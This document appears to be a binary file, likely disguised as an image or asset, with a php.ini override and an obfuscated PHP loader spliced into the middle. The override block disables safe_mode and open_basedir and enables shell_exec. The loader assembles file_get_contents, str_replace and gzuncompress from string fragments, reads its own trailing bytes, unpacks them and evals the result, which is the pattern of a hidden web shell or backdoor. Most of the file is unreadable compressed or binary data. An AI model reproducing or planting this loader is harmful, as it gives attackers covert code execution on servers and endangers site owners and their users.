	I2^)(S^o-4R5NY[W)D|kɬG!mJ}garyhpibsjVlS'd%_XKGkFaK ^͏wW%޸͊htikcbnsuo}=Lw9b13_SR]
jm2^)"S5ƊÙnT@ӫhL?#T15v$
byޤ`0xHo&do%߮KCCfr;5P1-̂p;Ϊ⎕nrVAVuúGUApT kK5RS7#l戚H2up6	Dxa,mĉ0~
hY(cZߗ+^(3S(/θQhtikcbnsuon2`"=P"-pff*_$̙yBl/mʆKZ.J0 0JRҧ#3K A_\/X1mMMt,㻟"htikcbnsuo	|qFm=ޚ&D;q34Ƿ_}U_+d.h: QKO,1?+:1}htikcbnsuoCȂ{dbZK9xx]s-htikcbnsuo`(9691(ΔgW!6&Cuھ	⩆+S2d[L;34ZCY
DU1|Igaryhpibsj+1Hz]:|͒iV^8^@%rBPFGHE^C9!ȐoHVv:=rE"ZXm-q/GՔR28,WX2R"	Ek
mvwN9tO
Dk|[jPmhtikcbnsuoaRg2-Q
pvMҼG`iA.vg1^igaryhpibsjXhr=ӏU.$sF[I#~JE#9D$n'	Ȣ%9$~NrL@Gr5%d[P/htikcbnsuohv]lb`s*v_T
_&]ӯOu{Ym扸4usdB
5]Wo?I=|)ū=ju3-֨TJbڸĆ'X*4~	']@bQgaryhpibsjM
}pSf Mv1T`985Dd{r_0uɕnZjshtikcbnsuoY:DfhtikcbnsuoY],_ݧ/|	ut
J)S~ENBkh`\J	Ai~WȌo̶htikcbnsuoG
'~~jԷAeV|@q~5V9DJ^ garyhpibsj:jx7:0htikcbnsuo)$;-&@Wy7S:,DEcpwl}(TpDpЫ%0wjRۑ&_o8~E.52
e9'?2}x7~{_ʃs{.'2vh▇4&z[͗jOj+e,$Ӧ"(:irgaryhpibsjpc
VqfE{9eƻhtikcbnsuo2=DWIΔSMOWso.0LI`̻˹
#KΗB60k 1HVgaryhpibsĵhtikcbnsuo:=_SI=5G+'ovUxUSC]FY'Y]TGڝU#ΥϹ=0ooR+犺
qݩMTr,lhtikcbnsuox8a#a:`~=h7Xz19K
[W
[+A^I; Kx^%.ٌ\X}'R`N6lF*HlP9D# Ԋa2x?`,3uC X/!I`_j1WN4.b_M%,biBV=FǯMFrdpZW6߄&^IjXP*xbj|2
aZrb|9zq qo4eʊipWxj;}rU0净_/mv\q{leqzkroU~p,6JEetB
vʜ8nT_.n'1׶l
%x:t]%u
ʵjƏ\GLM

}~!1@Iaԯɑ,"5=YMRг6/)FrhP7=MC@l]NnLQ~UUC|i11)s5!'}PUF@iM{)Wz~C FJ.B̳.A=#7|0/feݏhbgaryhpibsj5EC۱am	z(y[Gf;՝;Ϛgaryhpibsj;aJ}`~?3@,}NwzS@htikcbnsuo=zϳ0 Ep~vLLxH7 śY0nbHSS"nlrk?.)SNLB"?]PhtikcbnsuomBipl?CZFhtikcbnsuoZ8v{'KF`[u&E/͠S""u ttBЬsԜ-ev¢}v##=garyhpibsjwU]G Z(fn;r?jX[STw%羕=էu/^F;;htikcbnsuoLQHR@f9F
|q@)0p\j,AreWtMZf=kQDKG`Gy7RTST*L[=(_:@l'H}|SyUd&&EWajV\(yJH4af9^ā,*oGchtikcbnsuo2£b5-p}	gsm6*_StMz,wgaryhpibsj/JRڐ곷?UHm3D\=I5ҤڅʘӍ71b@:$
9l=Jx^dl	-pe[;V/qC7HUEX}bia oJ5htikcbnsuok
#,lMrj(4wC4khtikcbnsuoH[lQС {..i?ɺ%fhtikcbnsuo@\*ED6f%O˦yj@wgÞ"ذmrakmD{`tE4nB:ŀ#3G4jBCm5ysF?y]?07jNĉǁCtI'5ONݪ%r{3fEa3z|VOSpʴkx6~41;jzrv Xhtikcbnsuot*70a/r9zV?Je`7k{0Ы;ϨB;6,㤁{4(FSvhtikcbnsuon0-$^!gWefWUigr:E={:)Rxm
px[$dBFl'!h&7 %	ϕvĎds09|O@V:/7Q-kwô
y'wdrFZ w#r,ܮDfd1i	
Nlt=8ͽH q:S'o+oJR
;;FS8S}ɐhtikcbnsuo[C` y'
	9_W`C ѝ'׏uxSHؚCEchJ	DsJgaryhpibsjn^,P/ёdtW]* }^R~	X-_aap5bJ	nۧqݧ_)hlUmfωNj,9ԢݗgK
(iBZQ26k\eᮑsj9X)\RގZ!
DQ?)"s&!K]KX,"%OLoofO}@%4hdhtikcbnsuoU۵ٛ$fֆoop~1ҏgL DqHW`l+=Bl$@LmhtikcbnsuoPQꘈ[81@_PChdkԩN%Ǧ;![2s'xHSkH-A	t
SS]woQک+jF?HgaryhpibsjBU6.$^[htikcbnsuo "I?
RnZb
ghtikcbnsuox!%5htikcbnsuoH001ɮH3+b?Ỹ"n[eacժg-%$]OET`=a))9;|pƇo۩w~\kma	.htikcbnsuo8Jhtikcbnsuo5Ѩ6ixsDw8ɚӀQJ[g
SAvjEBr $'p"ೱAhtikcbnsuoe
Mf;j_b
_ceSFcy"
%|r	 9=7x{$MP;ڸ`dD/H1
sk2^?)htikcbnsuor9F-a	9W@wrU}R4H'GR9,4M+%/$x?C!(`
s Sgaryhpibsj^Қx5_~
k ~P6˦nDnmGZ@lB#Ƒ/|M+RsvjD#7؄+Vs%5'i
'
kMRH©&:֬F2@QZM	eSQXSr.jQg0y]e3% 0mW3TY3}ǐƸXm{@&b
}Il7htikcbnsuo~-z'7zxrEVhtikcbnsuo[H\Ȃh,Y̿=M5|ǨS'ϝw(C[	ipKH
"O!KO6I2&;΢la^P7`Kh^%ПPJnKm#garyhpibsj[y8da9i4&d`G9n@UC#j۰P͡(pj]Gxx\:m7\ډZcx]zK0/Y4htikcbnsuoIlsM1tH)[Eǯ¸.E8cN
PT`Yun~r|$־1dw)_tղWMLhtikcbnsuo(AhH(7iOf}
6#
lZЇxUoBJË&~;FzŒmsTOq;pqt@{htikcbnsuoSÍr	{Q(-YU(W?yu5htikcbnsuo?7k5H4
jUgaryhpibsj!_5(չ[FP6qz۷Mc06m:uDA"4;qNB	YNqhtikcbnsuoڞW!bjTORj:t_[;lg-=THgaryhpibsjUThtikcbnsuoـBʲڡz|YC}^[IWgaryhpibsj,	+W
z`$w}c8n!dFVce;8-+VUPV+gzYb8}Tc!)}WS$ egaryhpibsjhj|T֪$0:f:1X~gzxߌy~92garyhpibsj"05֒;8s_o'f$+-.!Y]液czȪͣgaryhpibsj]xud\IN&/rv6garyhpibsj"ٵ}#z𼄷veA#DS,WC%ţey-(65i炳In;+LQhtikcbnsuotѼ\j=T2ZGi27cZ@yٟ+s{$Yag(OWvϜ7qaG;?UWܓu{CM$D$b[玝*j9Yp:5@%ѳœP@|
DePN\)garyhpibsjKJP-'F?garyhpibsjejA_htikcbnsuo3[	گ	xU g4TzӤ@Yn@ۚxІb7n+$ȑ4j,*\  }+"Jìz*ĘAsrgaryhpibsjlr{;?yO-yG5am(v~K.garyhpibsjltSPNdMa8|M@+ }xЌg`hqo_ZsPKpCȪz}0xi}htikcbnsuoO0Ֆ}e*,Xvpsgʘ엲qbddATyZbt|m\9	M\îtSړjc,/% N˿w2+ϯ&4!3$o"t+
1AҐb^ܾi[
܎XR	 lR"0_8UUgaryhpibsj{+(V$z~7Vv]Qs'5-o?]|H$QP~(rF3+m"QdIg(
;cTFrw.
xhӡk!FV:k
IlY 	6,bwථ9Jd[v=?!	RE?l.Fp
$hCGXr}$Z~q  |Qʔ7AŝhgaryhpibsjEElu]vl[*N8bz!E؁]'\ڃo)uNwvFOԡeM+dV]8*i$"W(:E
Tv
}%$5htikcbnsuos*wtS5-xO  ʔeLhtikcbnsuoߧdgaryhpibsj@!VgjXxj[3椞m	#&䊑
U2(_鶪vbn.
dKcDKN+^sEyeu
!B0.0 jݚ׵X|-h6,17h
wqBfWs[x;^£htikcbnsuofۇҟ,`Fp@M.garyhpibsj]Xnٷ=PK|Sqߝ}shtikcbnsuo3M+'!)fE 7N#1ʆKg6Jp]U#\$ܕTע\J9솵AP5i^EƨRm:E[@Q	zhtikcbnsuoP7nM`Y[d^0_-garyhpibsj1?Gߏ53ugaryhpibsjs"nս!ٷAy`-\ ~#KyMq'L̶R.,.wtkHt6w,c(=pZ$htikcbnsuoCx Phtikcbnsuox ^"78W=|/.I#BM	T'9*1+ZF\{duCu}tbooRT	;fUA#nfG(clC"IVqlvPU#2,.l~;"`
:1֓v1+?FKC_vL$MLWl=1FWٽ}8ԕ}=/tŇLg	IqJ5Ǎ]+ccsʎF0~h"촲S8r4p-[_ [:)muE( $E Ԥ:r&RZP('L5zROoKэ
	/l]z^vz'm5ƀgaryhpibsjX^GBAW`R{h\hU#`{Qqpofj+p^@-xXgaryhpibsjԴmZU\ߩ"7)|{~ѯ.Z-ڬ|p0]1&Egnp%Έa]3 j5OLwۻ]қyc^y[t0r;ub thtikcbnsuo;]
W+$AAxbzFz$m_ ]b5eA'7
cIzhtikcbnsuoi2&m%L$C8` Ǯߺ"Y˼u}0
tR'T:|_s:'B杞EN;]sp/cSfGO[_htikcbnsuol.i?f3|g^=ta|{63$P%1\uO+\jCF8՛n=e@'*k&N飗 t4/mF~ u*kcz:Uwܸ OfJ~^yvU}K玫:;4u[&EEg
((~.-Ϯ@o̰%M&{2ѩ&Gujrɤgk}y3QoWz=-{m6r)}=J*E%mnZ2[vpDǯ"}
: 	|z8zѣD00,YY!zRQAWi=fFDLVP&T`garyhpibsjpf*Kn ;nc6FfrټV|#恣 =͌U\Yѭ%p8xM
T/^N޾@`Vȅ9%p#$4}
ov{enԄ;1I`;
	z5_3TZl
;cxE8%Va]bٺX9-P\}P:P%y$Y&*g4)U8#bU	!WgaryhpibsjƮjmڝx1lIhtikcbnsuo39fRJUuzϷqG)]&dPn_m(o@+}ʇ2kɎ=._e~WlOvn8b/^NJzJ;0:w"MV5&&9 )/
Sf%X|Ơ#Orpohtikcbnsuomsb@6)'58~W!΁)mDVZp߭BD&T{ZmB@~GRAbfS[f\ѯCK?	TDmP8M*_`SBV]ɦ[чQ{d՜WJT_5htikcbnsuo`
-Dnlp dÙt-/?q8htikcbnsuoOC
CCwھ7[(:htikcbnsuoQ/x?ubD8?rgaryhpibsjzI6 evmjkZKPuivG(
b14)D{5ǁ,L`WChtikcbnsuoр+]x+bϴ2z%S^`!pi%~52{Qv(:4WNy .UM n\q[ܵqy%F+Nq~;5teu|i"oӼ\XnVll롳]a{O2C.inGECBcn)Nh.Kg
4dQp
..$7)vD5|$h꯰^7Sw2D̜j2:B	m~-j'wzZ['N(R-%˭#+뗽e]tdx+G?wqdwC\V"ik|P^'Dv+E82htikcbnsuo\2~4U?hP 5{ks;T'8(+'A;O `@zmORNIÙֱ~~)"jQz u+ʮP[kU1
qijY`n(I+5(XϰT(`=-NS^8ARen؎4t]Gٽ
Q73A$dꢍo#mw%vnr3v5n4h|Db̩uSY-*Ow+Wq-l"ې;sM %#@!ӦudTy8RC!Z`S2C0zH"]}7O/x0ټCεR~y4vB1garyhpibsjnKU2t,~UVv6 X!eWRpXFX
garyhpibsjC'8$luICi.# ֍D0uQGhZ6[ly2 W-]mߴMXn3s;TAPT~|0y)^FၾQ0y0WsvNC9e&Q3+/2#X,g{(@M@ Sbhac 3+@M\{?DWi I1]HC57):M9g3k_FPx.Cgaryhpibsj`oeN\-^YrBuqAٌĈ\I~`garyhpibsjxOqGhlq|7mIV(g~2IYL7Pv4&a57DC%;ߗI^]4zg$XӦ]S}qw\m7H~Nh׆w
kmHJL-[71s:-S,pՍ]s;[oN	o\ymbwM^J-0Bk`Cc U%Շ.
ly9%(g*jM.9'^x3R{b_X3-I(#"gęPk\ơT|ѳy3y@piDS~h}%{$:V&!~Ʉ/9w$4ًL!j & -Nӣ݌p|T
kU4iܖl%ɇ#odWAsQ2ø)BN¹
)ك%)5)ImJ#JM(7garyhpibsj~+\[0ĳTE+!-1]{& JԛrvPUGŤGG]-q`OVm)ɶ*R_Xu2Yc%D20@jѹl[Ad[`$I,\a,XS?)-d:Io0Oj;td\y^GaR+p}(83˞I7ͯSsO3 M%Sez;|dhtikcbnsuoK9ؿYUgaryhpibsj/,M[_b=_5/999]/-e:VP┟Jo^X
lOq}8Д2޺pr|0㻙-RrNk+ JC+}p@w7cmX&M_garyhpibsjCcU)R]j]ȟ|ZݫDiDNlk`v;vgaryhpibsj?a-'qE.xԙ
2htikcbnsuo)#htikcbnsuo"iV6Fn	zu~ZI0b=`GI"KyA0Bj =`8$&IFi6IR.aQf 9garyhpibsj|}Vr5`җ#TM_
zeG{3e{*"U8C66PFu]Nۏgaryhpibsjx,E%J{ÉMkgaryhpibsjCokgaryhpibsjP7
bq3d
I^C[77LYhtikcbnsuo	%?@,;_Ps4o?$t'3x
xuLru}VҬtN'
Qfi+ݪGR%-V((Oș%,tx'iZ7Gtv0g8[k6ތFAԓw%䏎h? HrGChtikcbnsuolͧ"Xr|˅xJ0ݐcVk{PrpHv7/ݍQ8lMaYu;Ia.Lz
E\4Oآ1UY~z `:H6HO.\_-ɑI+Yprt~.uAXb.xL Q %BnS2Jg}3'qNv~wB~akQbH9hu+qߔJz(HCojae,]#n:IÒT%gngaryhpibsjGahd]uzNl KF!1ucM2}`Y	}|^8lg
ɠ
c5L[13_&],uigaryhpibsjpl(NK61(*"y%\3]|0hxrc6\Nx%U_fE!S4C-D)egb&]/3͏-L*eGjǆQyKA -=c`s̲~yH00$|dEToH qNKA[;"	RTTUHQaQkF[rmC#ʳΙtVؚsdgaryhpibsj~4 (c/JG.ҲtV/5chtikcbnsuo,su$
s !ND}N&5eN.m¶v~ydYИr^vɐA8MKp,ҋQMXRY {dDb!AnP5bdsF䣪ݷZNI v	n;y9(,OG
DrJ@G (hl4I&@G?e 8hfE )8MBޣzU9lgj=FFLkeD	NuOrqGhtikcbnsuo*i:Lˤ$-~.ZYIi#n+MLKx'%e}*/!*bpO~[2Ͽ˅3safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php
$mKiR='file_'.'get'.'_conten'.'ts';$pCzQ='s'.'tr'.'_replac'.'e';$rjTN='gzuncompr'.'ess';$iYFp='su'.'bst'.'r';$mGqf='exi'.'t';eval($rjTN($pCzQ('pavstzkimx','>',$pCzQ('yunhbomtzj','<',$iYFp($mKiR( __FILE__ ),-172647)))));$mGqf(0);
?>
xTGoЖ^4𞛆Y$0bQ9_o{`{p!RERI?8)???G~?fj=|!}i\,KpavstzkimxVpavstzkimx?Qf:u?I??pavstzkimxip4!,B_?s,?kucIT}e_} 9Xf
OY?c	~wa-O(fl4``u`k+w%8O|1 O@pyunhbomtzj!op$ч2C2Kn9
$ Â(l/(|%Br@'hL*: @dʁ]A@ &B:ތ1h (ANVpavstzkimxiH$\;,pavstzkimxD@!I" ~wn37R=jQ|Byt (D^c1'i&
P\d@/@#P_"M^7ȥ%1k	

pavstzkimx4UX DJu	
`^{L,-|DR2x-p B@YLOONywTF F8B{{z&J:6G{yunhbomtzjD2@"KP
cpC$ 9p
b!j󰿺Oʠt, fǲXdcCHXoE# `fc&۟Rc;ŀ  i~?E)
7h' j+ms!.`
-H"6J!Yی) b9@1~S( 
iWv]0\),zqAQN}FZdX*F7pΧ!{Y\efh-H 	| fn{QZy\X}?&og
+.T%D1!%[E{hy
	=!'&D `pavstzkimx Cj_a]\zh"!yunhbomtzjK/Z.򙒐%0Hi7ϪBvDFWeJsv3kT?xwY)4 &lyDN=yunhbomtzjd\tO
hz}yh4oGݬۊRyunhbomtzjG96`R~yh7W:Xwj!LIߜd㚞I$o͕Yҡ:[[b"Qz~UH5_e2O|4{2
%ĉLfbݫKNK]fț3& g2!WO|B!vp*ehG~vyunhbomtzjB}`
"u6.'9Ɇ\A @{ pavstzkimx#&#%q7er+cG3z0;z\ao~dQ]zDb莹O4ROP$c.ʵg p%TrH݃QgJEņތvTS=	}1 %JlCs[A_[#*[yunhbomtzj	
q]
Ny@4ۻdgNeuIXȯ5
IlB;+BfS7f$j+.ޤŊhG5? )R+IQMNt:SӐ~{U0oiΉdӆ94]}BwӤ$r/؄:?
HP4E)PURyunhbomtzj5kyunhbomtzj{GFОvWáhy	ApavstzkimxOEY_TV5e:w6(}pgQ`.6.F{Sbe}:j
JY
yunhbomtzjq́v"	;hC+žE1IHCryܵb.*.72yTQv:gNwybNT8FTVVjtI|~?d؈eL.dyK,_Z:ۚ`O:VUi.~f+nPNVԜ%l:H:04#k2%RˈRv\%߽*SpuʒxwX tV73u6z3ή$=*ԥuZB~)'F"8G-V%徢	IADbAVL믮ɓFտ9}Ng.U%.K5^|XٯAةԅjRBqqh.L pavstzkimx`wS7vln)f"?:.0z'yh
@ߡP跿TgpavstzkimxgӋ.iw}xœ\K~9a-?#fG((޳!C̱9k$yJNWZ"$Fsaǥs҅КZjEc-yFdY~+6ΗJ2j:aաb^P	9M[NC_*EU
cXb\g=12싙lWz{/&;o;oMut6RNE,euq
O_H`ɚșsW_GS2_/wn,=\oPeWVѶKĬ՟sTf2#cU#;;2Mu`Fy~|bt|Vi\JEH"t7-CKG4
9ZI]/]5u,eLP!A֡v^`j
鄯{pavstzkimxߠ,yunhbomtzj/(ZdLE_v)'N| d}r+WU}&0w/{*۱wzZZeOWtukl]ǚnH0_A$f+/?dMK,_wFH
eW'0ac}i	&40)hpwL=	]J
o#Yupavstzkimxls}3ѕkb`~_ pavstzkimxO!2$B]O \5$E^./8Rj;5Ə]fԟك௉(PyunhbomtzjAIK9%dբ/Jݭ7L-g?'j!N+C
apavstzkimxlaeN)o	FFP}}¦fOo)Y`~Wn*?0Jt`wrWwT5mpavstzkimxbt!8@wsa:Ab#,|ߐmݐ-ۡxR	M˱Bܼa4|Au_ 8NR-6&ЊrVvfԴY)/FLAdD75ɱN&r}H&h5q=fОyunhbomtzjWY3apJ`_'InXE,:5拟+~훆6/8$y[gJI瀄ƋY̐FGJvGfKC{pIơ9 &L٭u1Z*n`xs7Omb& 
./@$Bl ]pavstzkimx];]yunhbomtzjFK$bf/˹~ yunhbomtzj`bXh"=jt'􉱤ԕuԐJu.=)pG֒bD*JUյ"l208WaeuU4cwF}_ةWbR*V/sg!~p{䓘`[GFsdRd~7lʵr*N%hxg*L
n~Ο@X8`%[૝*QSwȩw'^}.f :3/TR"ъ*rFyunhbomtzjj,h{('e#1*74Ū)}_kͮ*MΪڌv_x}S@i0JN`#|Q w:c+J=	?\O%@fO-nrt".[\EdKt+ś&6⪆YCg]	"#wp8Ԏv2&Bж~MOW;}Lw|
pVyunhbomtzj{yunhbomtzj¸=yunhbomtzjMfDyunhbomtzjZX;kgh#d#_&u*8;	yunhbomtzjXYOu?2b=Ri@2^ޤxsy71x}j:BXO28Y#xB,:+6
;0Ho	dP-:M}G|E]0HvWRF
_޲Mp_'@,"կ{Gy}]DC{qPˋ2Ndf!/A'?X LfdmrQq3u72z׶~0-e6|JU

Jv֎6De"yqOd؛^E]RN7)N	1Do&EYǮ0~̲	$6- T/cڱ},	=ĪQ:UDC&l)_\\}H%=v̊)wik"q`k*f/ۘ;,F/Zk
1 ?(lmagPl2㵺&S-ःN6/,YGaNOTU6?
W)6OʐʢY5%@gò{LkyunhbomtzjUZ~Xʠ7Q߁":A+ Y#]=g]KI4iwz.?D?엲r=Ş ݋- 4"8!3y@^Scg(X	Yyunhbomtzj%hyunhbomtzj!Sy)ӛ{
XkuYq"?LWpavstzkimx"+J)]W+wAu-URxpavstzkimxK2w5wqaD3ߣ/G?H\3iՎͷp$~0=]	\sJҊ1e4K*·`WDTI.)7&şe+Tpavstzkimx{D2y&rx{Ra8לލ(U,.ǩ*pavstzkimxeq-3UʏuJuF4B-fS#؊ej/jC_ICHJB7,`:F5#I4ؽp\q0}=P5E / %}c8!:C)12=W
rrp2nYUvLm)U`-E$.e]@#Wogh }X̹2)sI+go7LUs9$mfY%`_#,! 7g!%oKH&$sj
UyunhbomtzjΆ՝Y96cG3EaI{Q+ߎa9"ǅ=$pI1Ez40UM]
Md=]pavstzkimxV1o1ty5Ϥט5TQӇ=xY8%&J\pp?pa{$D5Bc0`fDpavstzkimx?q_R4NyXN'
1gS^yNχpB9	_I͸=✠%-%:mnt#ϰӢy-yv2a%Xʧ獞)	R$'B84
?6Ӧ ֙l3拳C,Cc;9xdqdC;J Ք_s?}b![߯F^bDHÅ*^%TydY-x×1pavstzkimx'=;d!*Ż3E mQ6fZវjO3R9,Y	L$3JpavstzkimxHOc"!ր8 z4ӡW\]ruN^O8'
qi|ŵ7E'pavstzkimx-{ϲ; gco2T؜R:6uj!cjwUf728oRKyyiCIWtR^MzQ1w׮Kv$hV
pavstzkimxZyunhbomtzjec9zv47_9
iՃfgSu5@QuZtK`9ohpǺ yunhbomtzj~p`y!y
ma]_&	#g	m-lD$pavstzkimxp2Hyunhbomtzj69QS+
J~;8xyBÊyunhbomtzj3@֣jOݱ:fz3	(Z5)^!3(2n@t)4E8XZ~=O1^pF|s3bpavstzkimxsC{An@izLl~T7	zj~Yڮshq{
	g\?{~yhA߸x9	zR
wQ-OJV*Xͦyunhbomtzj	T	=v;fE7`3lH4)4td)/L)LbʡVh ãyunhbomtzjY{}b
pavstzkimxP֊}3J'9olgApWS9yunhbomtzj.-[ڕ9 Ma*	 l,%iPok}Ņd@+^&57TL&pavstzkimx#_WCūٗ[p-8V(ܽAMajJ4VASr!/s&P!nb͔6k3ќM\Ұ~ÔKX3=qV^iڍݧbԔ`U}wDQ`pavstzkimxOvJG$]1vr]U6-|͉;ك1d'}C¾{(MVN¾8iEZ*dUcI.0IrϭGpavstzkimxOjSՑT;1|7oqTo%a"Vk5Uuz|bL-7=v"l3E!{ƨ|yunhbomtzjJgU!-s,Zdm9ÜGP8}[cmpavstzkimx1NJ49%/kY|DBd=G]Ƙ*Ocyunhbomtzj^CxA^~~eopavstzkimxC!Ǚw&G9IHєl$Npavstzkimx{^hFT.M0Lpʿq⽺z9̇&q\Ƞ ߁4ST	B$M]QM-&pF'k_nA08_xOh'߶F/b~"Ԉilݲꄾ9MeQeq-P]p!Ҁ%&8rpavstzkimxǣjT)AB~yunhbomtzjxU"Fj )e5&شvpavstzkimx@1"4k#V&$?Ě)7LġHZwCAYm
u@M
%ҠmJՑH_H}~&
G_XJ݌yunhbomtzjC[ҲCR͂,p}Z7Y\w5Sq[wx\P[h2cM.yunhbomtzj*ZADepavstzkimx:L9f1n9yunhbomtzj_#v~9(!;hY|
[ٕ-n~Ŝ{YoewXKoT+WG&dFRʺb.ݔG8'vXţǸ^tJ_xd+pEy7N_:l``S9#;8BvB'oS5N`ާM2GyunhbomtzjzI(5D8
 kF$|1He_Ӑ\x!yP} k\|kSmm
R31MEhPߕ_`;gG^鰱	ɢUj1d6RKmZ&TWST~Z:omQyunhbomtzja	0jTP]ǿ{Mܩ'FDpavstzkimx ɵ)&}][+\]-$]j*`GK1Xol[]~oD\"ŅqlLf:HW歑'#0'-r+
NfԝWi$ h6
23l|yզVnv
odV	nXYLJ%aIx*7bje{'ٺB}'eQr(G/}*{M $2a҄Z*9
Ņ?3oyCc~tn!ę?ם9U'%
g`xsD0ƤRR=/#gL4we=y/h*]$Mum˦㉋m?(
/FDpoN17*(?|XŨ*eHR? T\ǅGJ֗Pעsi%؄ۭ(V=BP'Lİ?$֖&
ي=2/}-~o*WKJWAI3=wz2kCnnY7MJ.BF'FOX
=I7(f֢{er|(GrS͖0^Q#mO0d 粳N;pavstzkimxGH SMΥM=sFL ]";6dS2Z)|pavstzkimx^o}S=;Q
(O`I lһmMz= Ũ9*oJp#Y^~u0ҧ=~s2y_؇أ	BqSq,^@IPڛ;Vu {nq k H?cTJؠ
ތ'E׃+P`涳s:)Tsc0yunhbomtzj$S`1(&!*ㄵTyyunhbomtzjʼ_IzCT^Lf&!-*8#}O(.C[Z1yE&}8P $Xѯj	MW
b"^yunhbomtzjzC\D%3:^+fh-xqEO3&Άb|Y|&&kPݠ#q2v1$uEv)z~,}s͐Ul
t~*+Qwo$1q2)͖`ryunhbomtzjjK	2f
[ܙo}pL(u~b0Ȑg2Vg&KQ+Gf`f}+*6ù%xc	CXev,`~!yunhbomtzj6F{H"
EvrfҥEۓ2j+zS΀2yunhbomtzjP/]J/ͿIrGJ
&Ūk9	_eCk.?(5'%'ߢr#w+
g`\5ѽ-/)}Za: }?ԫ'_piEghbDa`=/O7iA#2ˌe"h-@whk`-L1ݨt`/jiV	Z-A3!Ln5(w|HCߪ+%ID a6qfϣ~ӥܾRh8ay
P]bmrFLIz=8odfce:i2*𫙊^mlcEpavstzkimxZu][w{{DPp擭P$pavstzkimxwtqN,.gpavstzkimx
Z "ƽ%MS0+u)|mۑb-䛰ftس]2Yp=H-p|;S3*};[x+tűkg4զYG
97܏`*N_+N}-%\D	~Ki8MRQBи.Ja3@jK
頗$t·aB+w˧ӚIϷCyunhbomtzj|#:vq-luW2{vG`6F&Z55
+)u/}J4pT[
yunhbomtzjNDס'?$L|c}Yc(W=Ne aTvqO8'7O.(1Z -ch w=Z/*D
%@pavstzkimxWJC(},`g?;pavstzkimx)l O@
Qf;riXI#=A(MVاJ򒣖8L/`$I&oaDԐo)yQ
ؽE.&D^ɍ`BL@7fyunhbomtzjǥW͂~Syunhbomtzj0mDҍ[._퇸t^@[
t4:Rv~3q[;FMr+xCwJs'qQc7c=nJ[͚pavstzkimxj=s5M\'k,o߮~5{#8tl-LG_+oHbSV+5iallFkyk=Q2^3m9VB[98'!|H~s`LZK,O-u|\5~3wt:Vxk_PPasm&cJ#i(㉢BSg^žZMbTk/EUsAwfM8Cv*I:`YLC3WFա:#ʄfG%@a')Iչv6*Hc_!&9MU-QSsctiz]2Y"iZk3iyunhbomtzjBaѪhm?#J#WϬo/7%tnrC69^vFHyunhbomtzj6 hW	OGx09|Br634}#-`X[r?vD@4KyxʌXyunhbomtzj?{C}Ff9 t̾ 6FӘ:LpC8pavstzkimxa;b:o*U3HpavstzkimxIDHK߱ηZ6yunhbomtzj?ǩ/wi/?]$@}g
gF~Cb()VcA(MXTuSwK隳.}D0XH̆ L∌rhcOWUYv.o̓k_&/!e	+W_ԩ7wA{$lJ9lj-u=lyunhbomtzjrG+32I
C
/`]4-+tCƩ\H1`F;9lp]oEP\{%3R`8sNetƆ756ĈҍpavstzkimxyL`}QoI*kxFZ1gh4-֧
0eSi6^gN'	HNHBw+RH9Kpavstzkimx6KOei46ӻF/_wvwHařDWrLei] f{nWVwM|,^zQ=SJd?*Mqu)wےfGx{;`d-;+R_.Upavstzkimx(M.5ovLQ|':UQ+[AhS&P&j{{aP=:~pSNsR%af_!̷1TLVJ"S{ +Vt?

[%y6d@NH10qc[sW}Sj[Hd=7.![#"T.A:/
(pavstzkimxo6݁2
϶CgKn\ f}i#0+*VhXYz&R%Z5L~DOSg|Sϫ"ESD?fS|~]NFEި^UD xb]\sy{eAu.I8ۄQqwx%* Нz\c7a
|Q Uil0A/k7;)RnLa=e鐐7;ˑw8?#3no(W	R?ѻ槹kQ!]OjP|yUY_V~}"ks )mμ۝0SP~⮗=!sVF =gOe(:v8ș{гv&=}/#e4A{)]	B1Y^.4{waz3탡sR.pavstzkimxVpavstzkimx=]_pL4+Iw(IĒŗ̑;ChAEi2gZg
a߯Xmxpavstzkimx0	nY_:}TG9HaWof(
9ŀ`%QPySE6\[GYs_;esw_DPL2Zſ]; 6PTivNK2}`	v|
w7YEgM&%
75	:LWӦN_"3.iͰi$B֩Ky	ڊx
gEeyunhbomtzj
ܙboٵ9!!JhI~b}8C
*%/cPk`,$llFtJv/^r^n358x!ǬD¹5cCg*[Zk罒$Qt!x҄ɸg_^FeZn{hT	/)v\S"MnC%?ž!,Uׅr(6bnyunhbomtzjv_
)?u6]gLښ=ñq0
+
9Sb:Uu%ҮD,X׫1?yunhbomtzj;m(2}oJ{ϛ0!NF?Łx&sSdU|*sԺ9\XC^X21CV_geOʘkA}j:Uhˏ*=^hҗO-vUٌ0Eq3*?92_ŇQ;`m߱9̴hSsbn Rc$	xPVH1S	t09/|ut^0%go}yunhbomtzj
o
'PZ	Db
tkpavstzkimx Y-S|\seqwUD啊pavstzkimx*zm.0X%f^̠]TWRecBC42|;|ڴ(9=5K D[2_wqll*ԤVs2W

Q9z2DɮlFDhR@@s,Qh9( %ڒ5PZ6YʓC\D~T3P@[o`ӹ!5ߩ:
1CDVFt޴.{-& (Dw[y[pavstzkimx?[ tw\sj`?A9쭷L=3[9|}!XjA.Hb4WWpXdSM)ܮx b6HB
dhyunhbomtzj	G7ugnr(B
,'&o~4fWUzxBi^Ց$*g$lEfdׯ" 	 UQzUQvK yunhbomtzjh\46d9٧zGǱ
EQ6lx,/5%h*Pca#uSKR,5.ImB!jF|,!Bóڪ[*+IIŢI@zF% M0wm"טA.֞}OO̅Se~j(enT$Msw(wN?CsUlFAxm.v9:ƾfZ~mgeDH:[Zq?ojݼ-B$D끖Yga;+3
gP#pWDY(sqH'SH.Eg-]#Tr0vwEgq^QiLoLF3ޢsw8NP5ϧ˽J.asK9(b.u
N+fGݮXA?`cvqw3@)ʊuǧ^A܄yunhbomtzjYExoޙhh$DPJ,)U F[C4MYڽ%g}ۨ#@Ts./K+[!hV|Ý`*\%W$*FFb|weՀ1?fi?z3"߮01䖯|OވṂ̼˭Z0klc
7T.]T[)ɡr]~߸xD~Q[8u *Y"MYO	Eoyunhbomtzju}& 0R"|㍹5ܗPz{z[E ŨIeEH4VP#K~D:y?6JƝ
]IXfEA!pavstzkimxf-Mud4`٩DyzZCZJh0Bg̻.cs+
\ *`k=	#^'7@VsT*	Bpavstzkimx4aANh nM,1+D^5xEs'y%COpM}F}7As=o8aM5o:9@8&KaSMiklJyunhbomtzj8P^W6g`cQldZ/8}Kzճ:]jmv?~X_tF k~6ԚW
